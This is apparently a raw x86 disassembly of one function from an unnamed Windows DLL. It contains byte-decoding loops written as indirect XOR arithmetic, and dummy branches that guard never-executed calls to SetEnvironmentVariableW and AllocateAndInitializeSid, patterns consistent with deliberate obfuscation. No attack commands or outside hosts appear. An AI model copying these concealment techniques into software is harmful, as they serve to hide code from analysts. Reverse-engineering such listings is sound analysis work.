mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0xe4]
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x44], eax
jmp 0x1003835b
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x228]
movzx eax, byte [ebp + eax - 0xe6]
movsx eax, byte [ebp + eax - 0x154]
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0xe3]
and ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x228]
movzx eax, byte [ebp + eax - 0xe6]
movsx eax, byte [ebp + eax - 0x154]
mov edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0xe3]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0xe4]
mov byte [ebp + eax - 0x154], dl
and dword [ebp - 0x228], 0
jmp 0x1003835b
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x154], 0
mov eax, dword [0x1061181c]
and eax, 4
jne 0x10038465
mov eax, dword [0x1061181c]
or eax, 4
mov dword [0x1061181c], eax
mov dword [ebp - 4], 0x2c
lea eax, [ebp - 0x154]
push eax
mov ecx, 0x1061178c
call fcn.10039701
push 0x10069ad4
call fcn.1005166c
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x230], 0
jmp 0x1003847b
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 4
jae 0x10038494
mov eax, dword [ebp - 0x230]
mov byte [ebp + eax - 0x154], 0
jmp 0x1003846e
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x11c], eax
movsx eax, byte [0x106117a8]
mov ecx, dword [ebp - 0x11c]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x100384c3
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
jmp 0x100384a0
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
push dword [ebp - 0x11c]
push dword [ebp - 0xac]
lea ecx, [ebp - 0xfc4]
call fcn.1003a556
mov dword [ebp - 4], 0x2d
push 0x1061178c
lea ecx, [ebp - 0xfc4]
call fcn.1003972e
lea eax, [ebp - 0xe38]
push eax
lea ecx, [ebp - 0xfc4]
call fcn.10039753
push dword [eax]
lea eax, [ebp - 0xf14]
push eax
lea ecx, [ebp - 0xfc4]
call fcn.1003973f
push dword [eax]
lea ecx, [ebp - 0x1014]
call fcn.1003a57f
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x1014]
push eax
call fcn.10025115
pop ecx
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0
je 0x100385ce
push dword [ebp - 0x11c]
lea ecx, [ebp - 0xfe8]
call fcn.10039701
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x9d0]
lea ecx, [ebp - 0xfe8]
call fcn.10024bb8
movzx eax, al
test eax, eax
je 0x1003859e
push 0
push dword [ebp - 0x9d0]
push 0
push dword [ebp - 0x360]
call fcn.10030f77
add esp, 0x10
mov dword [ebp - 0xac], eax
jmp 0x100385bd
push 1
push 0
lea eax, [ebp - 0xfe8]
push eax
push dword [ebp - 0x360]
call fcn.10030f77
add esp, 0x10
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0xfe8]
call fcn.10039724
jmp 0x10038604
cmp dword [ebp + 0x10], 0
jne 0x100385e4
mov ecx, dword [ebp + 0xc]
call fcn.10020483
mov dword [ebp - 0x458], eax
jmp 0x100385ee
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x458], eax
push dword [ebp - 0x458]
push dword [ebp + 8]
call fcn.1002bc44
pop ecx
pop ecx
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x1014]
call fcn.100396ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfc4]
call fcn.10039724
mov eax, dword [ebp - 0xac]
jmp 0x100386ee
mov dword [ebp - 0x238], 0
jmp 0x10038646
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 2
jge 0x10038662
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0x94c], 0x5540d7f8
jmp 0x10038639
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x94c], 0x14
jmp 0x10038690
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x94c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x94c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x94c], 5
jle 0x100386be
mov byte [ebp - 0x11e], 0
movzx eax, byte [ebp - 0x11e]
test eax, eax
je 0x100386bc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x10038675
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x100386ec
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret